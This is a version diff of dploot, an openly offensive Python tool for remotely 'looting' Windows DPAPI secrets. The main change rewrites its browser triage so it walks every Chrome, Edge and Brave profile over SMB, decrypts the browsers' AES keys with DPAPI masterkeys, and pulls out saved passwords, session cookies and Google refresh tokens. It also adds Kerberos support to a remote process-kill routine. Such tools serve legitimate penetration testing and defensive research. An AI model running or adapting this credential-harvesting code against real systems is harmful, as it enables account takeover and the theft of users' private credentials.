dploot 3.0.0__tar.gz → 3.0.2__tar.gz

{dploot-3.0.0 → dploot-3.0.2}/PKG-INFO

@@ -1,25 +1,24 @@
 Metadata-Version: 2.1
 Name: dploot
-Version: 3.0.0
+Version: 3.0.2
 Summary: DPAPI looting remotely in Python
 Home-page: https://github.com/zblurx/dploot
 License: MIT
 Keywords: DPAPI,credentials,Windows
 Author: zblurx
 Author-email: seigneuret.thomas@protonmail.com
-Requires-Python: >=3.7,<4.0
+Requires-Python: >=3.10.0,<4.0.0
 Classifier: Environment :: Console
 Classifier: License :: OSI Approved :: MIT License
 Classifier: Programming Language :: Python :: 3
-Classifier: Programming Language :: Python :: 3.7
-Classifier: Programming Language :: Python :: 3.8
-Classifier: Programming Language :: Python :: 3.9
 Classifier: Programming Language :: Python :: 3.10
 Classifier: Programming Language :: Python :: 3.11
+Classifier: Programming Language :: Python :: 3.12
+Classifier: Programming Language :: Python :: 3.13
 Classifier: Topic :: Security
 Requires-Dist: cryptography (>=40.0.1)
-Requires-Dist: impacket (>=0.10.0)
-Requires-Dist: lxml (==4.9.3)
+Requires-Dist: impacket (>=0.12.0,<0.13.0)
+Requires-Dist: lxml (>=5.0)
 Requires-Dist: pyasn1 (>=0.4.8,<0.5.0)
 Project-URL: Repository, https://github.com/zblurx/dploot
 Description-Content-Type: text/markdown

{dploot-3.0.0 → dploot-3.0.2}/dploot/lib/smb.py

@@ -334,7 +334,7 @@ class DPLootRemoteSMBConnection(DPLootSMBConnection):
         return data
 
     def perform_taskkill(self, process_name):
-        with tsts.LegacyAPI(self.smb_session, self.target.address) as legacy:
+        with tsts.LegacyAPI(self.smb_session, self.target.address, self.target.do_kerberos) as legacy:
             handle = legacy.hRpcWinStationOpenServer()
             r = legacy.hRpcWinStationGetAllProcesses(handle)
             if not len(r):

{dploot-3.0.0 → dploot-3.0.2}/dploot/triage/browser.py

@@ -94,29 +94,29 @@ class BrowserTriage:
     ]
     user_google_chrome_generic_login_path = {
         "aesStateKeyPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Local State",
-        "loginDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
-        "webDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Data",
+        "loginDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Login Data",
+        "webDataPath": "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Web Data",
         "cookiesDataPath": [
-            "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies",
-            "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network\\Cookies",
+            "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Cookies",
+            "Users\\%s\\AppData\\Local\\Google\\Chrome\\User Data\\%s\\Network\\Cookies",
         ],
     }
     user_msedge_generic_login_path = {
         "aesStateKeyPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Local State",
-        "loginDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Login Data",
-        "webDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Web Data",
+        "loginDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Login Data",
+        "webDataPath": "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Web Data",
         "cookiesDataPath": [
-            "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Cookies",
-            "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies",
+            "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Cookies",
+            "Users\\%s\\AppData\\Local\\Microsoft\\Edge\\User Data\\%s\\Network\\Cookies",
         ],
     }
     user_brave_generic_login_path = {
         "aesStateKeyPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Local State",
-        "loginDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Login Data",
-        "webDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Web Data",
+        "loginDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Login Data",
+        "webDataPath": "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Web Data",
         "cookiesDataPath": [
-            "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Cookies",
-            "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Network\\Cookies",
+            "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Cookies",
+            "Users\\%s\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data\\%s\\Network\\Cookies",
         ],
     }
     user_generic_chrome_paths = {
@@ -186,6 +186,7 @@ class BrowserTriage:
     ) -> Tuple[List[LoginData], List[Cookie]]:
         credentials = []
         cookies = []
+        profiles = ["Default"]
         for browser, paths in self.user_generic_chrome_paths.items():
             aeskey = None
             aesStateKey_bytes = self.conn.readFile(
@@ -199,6 +200,7 @@ class BrowserTriage:
                     f"Found {browser.upper()} AppData files for user {user}"
                 )
                 aesStateKey_json = json.loads(aesStateKey_bytes)
+                profiles = aesStateKey_json['profile']['profiles_order']
                 blob = base64.b64decode(aesStateKey_json["os_crypt"]["encrypted_key"])
                 if blob[:5] == b"DPAPI":
                     dpapi_blob = blob[5:]
@@ -209,120 +211,120 @@ class BrowserTriage:
                         aeskey = decrypt_blob(
                             blob_bytes=dpapi_blob, masterkey=masterkey
                         )
-
-            loginData_bytes = self.conn.readFile(
-                shareName=self.share,
-                path=paths["loginDataPath"] % user,
-                bypass_shared_violation=bypass_shared_violation,
-                looted_files=self.looted_files
-            )
-            if (
-                aeskey is not None
-                and loginData_bytes is not None
-                and len(loginData_bytes) > 0
-            ):
-                fh = tempfile.NamedTemporaryFile()
-                fh.write(loginData_bytes)
-                fh.seek(0)
-                db = sqlite3.connect(fh.name)
-                cursor = db.cursor()
-                query = cursor.execute(
-                    "SELECT action_url, username_value, password_value FROM logins"
+            for profile in profiles:
+                loginData_bytes = self.conn.readFile(
+                    shareName=self.share,
+                    path=paths["loginDataPath"] % (user,profile),
+                    bypass_shared_violation=bypass_shared_violation,
+                    looted_files=self.looted_files
                 )
-                lines = query.fetchall()
-                if len(lines) > 0:
-                    for url, username, encrypted_password in lines:
-                        password = decrypt_chrome_password(encrypted_password, aeskey)
-                        login_data_decrypted = LoginData(
-                            winuser=user,
-                            browser=browser,
-                            url=url,
-                            username=username,
-                            password=password,
-                        )
-                        credentials.append(login_data_decrypted)
-                        if self.per_secret_callback is not None:
-                            self.per_secret_callback(login_data_decrypted)
-                fh.close()
-            if gather_cookies:
-                for cookiepath in paths["cookiesDataPath"]:
-                    cookiesData_bytes = self.conn.readFile(
-                        shareName=self.share,
-                        path=cookiepath % user,
-                        bypass_shared_violation=bypass_shared_violation,
-                        looted_files=self.looted_files
+                if (
+                    aeskey is not None
+                    and loginData_bytes is not None
+                    and len(loginData_bytes) > 0
+                ):
+                    fh = tempfile.NamedTemporaryFile()
+                    fh.write(loginData_bytes)
+                    fh.seek(0)
+                    db = sqlite3.connect(fh.name)
+                    cursor = db.cursor()
+                    query = cursor.execute(
+                        "SELECT action_url, username_value, password_value FROM logins"
                     )
-                    if (
-                        aeskey is not None
-                        and cookiesData_bytes is not None
-                        and len(cookiesData_bytes) > 0
-                    ):
-                        fh = tempfile.NamedTemporaryFile()
-                        fh.write(cookiesData_bytes)
-                        fh.seek(0)
-                        db = sqlite3.connect(fh.name)
-                        cursor = db.cursor()
-                        query = cursor.execute(
-                            "SELECT creation_utc, host_key, name, path, expires_utc, last_access_utc, encrypted_value FROM cookies"
+                    lines = query.fetchall()
+                    if len(lines) > 0:
+                        for url, username, encrypted_password in lines:
+                            password = decrypt_chrome_password(encrypted_password, aeskey)
+                            login_data_decrypted = LoginData(
+                                winuser=user,
+                                browser=browser,
+                                url=url,
+                                username=username,
+                                password=password,
+                            )
+                            credentials.append(login_data_decrypted)
+                            if self.per_secret_callback is not None:
+                                self.per_secret_callback(login_data_decrypted)
+                    fh.close()
+                if gather_cookies:
+                    for cookiepath in paths["cookiesDataPath"]:
+                        cookiesData_bytes = self.conn.readFile(
+                            shareName=self.share,
+                            path=cookiepath % (user,profile),
+                            bypass_shared_violation=bypass_shared_violation,
+                            looted_files=self.looted_files
                         )
-                        lines = query.fetchall()
-                        if len(lines) > 0:
-                            for (
-                                creation_utc,
-                                host,
-                                name,
-                                path,
-                                expires_utc,
-                                last_access_utc,
-                                encrypted_cookie,
-                            ) in lines:
-                                decrypted_cookie_value = decrypt_chrome_password(
-                                    encrypted_cookie, aeskey
-                                )
-                                cookie = Cookie(
-                                    winuser=user,
-                                    browser=browser,
-                                    host=host,
-                                    path=path,
-                                    cookie_name=name,
-                                    cookie_value=decrypted_cookie_value,
-                                    creation_utc=creation_utc,
-                                    expires_utc=expires_utc,
-                                    last_access_utc=last_access_utc,
-                                )
-                                cookies.append(cookie)
-                                if self.per_secret_callback is not None:
-                                    self.per_secret_callback(cookie)
-                        fh.close()
-            webData_bytes = self.conn.readFile(
-                shareName=self.share,
-                path=paths["webDataPath"] % user,
-                bypass_shared_violation=bypass_shared_violation,
-                looted_files=self.looted_files
-            )
-            if (
-                aeskey is not None
-                and webData_bytes is not None
-                and len(webData_bytes) > 0
-            ):
-                fh = tempfile.NamedTemporaryFile()
-                fh.write(webData_bytes)
-                fh.seek(0)
-                db = sqlite3.connect(fh.name)
-                cursor = db.cursor()
-                query = cursor.execute(
-                    "SELECT service, encrypted_token FROM token_service"
+                        if (
+                            aeskey is not None
+                            and cookiesData_bytes is not None
+                            and len(cookiesData_bytes) > 0
+                        ):
+                            fh = tempfile.NamedTemporaryFile()
+                            fh.write(cookiesData_bytes)
+                            fh.seek(0)
+                            db = sqlite3.connect(fh.name)
+                            cursor = db.cursor()
+                            query = cursor.execute(
+                                "SELECT creation_utc, host_key, name, path, expires_utc, last_access_utc, encrypted_value FROM cookies"
+                            )
+                            lines = query.fetchall()
+                            if len(lines) > 0:
+                                for (
+                                    creation_utc,
+                                    host,
+                                    name,
+                                    path,
+                                    expires_utc,
+                                    last_access_utc,
+                                    encrypted_cookie,
+                                ) in lines:
+                                    decrypted_cookie_value = decrypt_chrome_password(
+                                        encrypted_cookie, aeskey
+                                    )
+                                    cookie = Cookie(
+                                        winuser=user,
+                                        browser=browser,
+                                        host=host,
+                                        path=path,
+                                        cookie_name=name,
+                                        cookie_value=decrypted_cookie_value,
+                                        creation_utc=creation_utc,
+                                        expires_utc=expires_utc,
+                                        last_access_utc=last_access_utc,
+                                    )
+                                    cookies.append(cookie)
+                                    if self.per_secret_callback is not None:
+                                        self.per_secret_callback(cookie)
+                            fh.close()
+                webData_bytes = self.conn.readFile(
+                    shareName=self.share,
+                    path=paths["webDataPath"] % (user,profile),
+                    bypass_shared_violation=bypass_shared_violation,
+                    looted_files=self.looted_files
                 )
-                lines = query.fetchall()
-                if len(lines) > 0:
-                    for service, encrypted_grt in lines:
-                        token = decrypt_chrome_password(encrypted_grt, aeskey)
-                        google_refresh_token = GoogleRefreshToken(
-                            winuser=user, browser=browser, service=service, token=token
-                        )
-                        credentials.append(google_refresh_token)
-                        if self.per_secret_callback is not None:
-                            self.per_secret_callback(google_refresh_token)
+                if (
+                    aeskey is not None
+                    and webData_bytes is not None
+                    and len(webData_bytes) > 0
+                ):
+                    fh = tempfile.NamedTemporaryFile()
+                    fh.write(webData_bytes)
+                    fh.seek(0)
+                    db = sqlite3.connect(fh.name)
+                    cursor = db.cursor()
+                    query = cursor.execute(
+                        "SELECT service, encrypted_token FROM token_service"
+                    )
+                    lines = query.fetchall()
+                    if len(lines) > 0:
+                        for service, encrypted_grt in lines:
+                            token = decrypt_chrome_password(encrypted_grt, aeskey)
+                            google_refresh_token = GoogleRefreshToken(
+                                winuser=user, browser=browser, service=service, token=token
+                            )
+                            credentials.append(google_refresh_token)
+                            if self.per_secret_callback is not None:
+                                self.per_secret_callback(google_refresh_token)
         return credentials, cookies
 
     @property

{dploot-3.0.0 → dploot-3.0.2}/pyproject.toml

@@ -1,6 +1,6 @@
 [tool.poetry]
 name = "dploot"
-version = "3.0.0"
+version = "3.0.2"
 description = "DPAPI looting remotely in Python"
 readme = "README.md"
 homepage = "https://github.com/zblurx/dploot"
@@ -25,11 +25,11 @@ packages = [
 dploot = "dploot.entry:main"
 
 [tool.poetry.dependencies]
-python = "^3.7"
-impacket = ">=0.10.0"
+python = "^3.10.0"
+impacket = "^0.12.0"
 cryptography = ">=40.0.1"
 pyasn1 = "^0.4.8"
-lxml = "4.9.3"
+lxml = ">=5.0"
 
 [tool.poetry.group.dev.dependencies]
 ruff = "^0.5.3"